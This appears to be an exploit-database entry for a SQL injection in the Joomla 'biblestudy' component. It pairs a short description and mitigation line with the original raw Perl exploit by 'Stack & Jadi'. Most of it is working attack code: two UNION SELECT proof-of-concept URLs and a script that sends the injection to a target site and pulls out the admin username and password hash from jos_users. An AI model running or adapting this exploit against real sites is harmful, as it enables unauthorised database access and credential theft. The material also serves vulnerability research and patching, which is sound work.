Joomla Component (biblestudy) Remote SQL Injection

vendor:

Joomla Component (biblestudy)

by:

Stack & Jadi

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Joomla Component (biblestudy)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Joomla Component (biblestudy) Remote SQL Injection

A vulnerability exists in Joomla Component (biblestudy) which allows an attacker to inject malicious SQL commands into the application. This can be exploited to gain access to the database and potentially gain access to sensitive information.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

#!/usr/bin/perl -w
# Joomla Component (biblestudy) Remote SQL Injection
########################################
#[*] Founded &  Exploited by : Stack & Jadi
#[*] Contact: Ev!L =>> see down
#[*] Greetz : Houssamix & Djekmani & Jadi & iuoisn &Room-Hackers All muslims HaCkeRs  :)
########################################
#  P0c 1: /index.php?option=com_biblestudy&view=mediaplayer&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,18,19,20,concat_ws(CHAR(58),username,password),22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40+from+jos_users--
# P0c 2: index.php?option=com_biblestudy&view=mediaplayer&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat_ws(CHAR(58),username,password),22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45+from+jos_users--
########################################
#  exploit aported password crypted maybe is crypted with mysql
#  exploit tatjibe password mcryptÃ© :d
#  mgharba :d:d:d:d
########################################
#----------------------------------------------------------------------------#
########################################
# * TITLE:          PerlSploit Class
# * REQUIREMENTS:   PHP 4 / PHP 5
# * VERSION:        v.1
# * LICENSE:        GNU General Public License
# * ORIGINAL URL:   http://www.v4-Team/v4.txt
# * FILENAME:       PerlSploitClass.pl
# *
# * CONTACT:        Wanted  (french / english / arabic / moroco Darija :d )
# * THNX : AllaH
# * GREETZ:         Houssamix & Djekmani
#  Special Thnx To : Simo64
########################################
#----------------------------------------------------------------------------#
########################################
system("color 02");
print "\t\t############################################################\n\n";
print "\t\t#       Joomla Component (biblestudy) Remote SQL Injection    #\n\n";
print "\t\t#                        by Stack & Jadi                    #\n\n";
print "\t\t############################################################\n\n";
########################################
#----------------------------------------------------------------------------#
########################################
use LWP::UserAgent;
die "Example: perl $0 http://victim.com/path/\n" unless @ARGV;
system("color f");
########################################
#----------------------------------------------------------------------------#
########################################
#the username of  joomla
$user="username";
#the pasword of  joomla
$pass="password";
#the tables of joomla
$tab="jos_users";
########################################
#----------------------------------------------------------------------------#
########################################
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
########################################
#----------------------------------------------------------------------------#
########################################
$host = $ARGV[0] . "/index.php?option=com_biblestudy&view=mediaplayer&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,18,19,20,concat(CHAR(60,117,115,101,114,62),".$user.",CHAR(60,117,115,101,114,62),CHAR(60,112,97,115,115,62),".$pass.",CHAR(60,112,97,115,115,62)),22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40+from+".$tab."/*";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content;
########################################
#----------------------------------------------------------------------------#
########################################
if ($answer =~ /<user>(.*?)<user>/){
        print "\nBrought to you by v4-team.com...\n";
        print "\n[+] Admin User : $1";
}
########################################
#----------------------------------------------------------------------------#
########################################
if ($answer =~/<pass>(.*?)<pass>/){print "\n[+] Admin Hash : $1\n\n";
print "\t\t#   Exploit has ben aported user and password hash   #\n\n";}
else{print "\n[-] Exploit Failed...\n";}
########################################
#-------------------Exploit exploited by Stack --------------------#
########################################

# milw0rm.com [2008-05-31]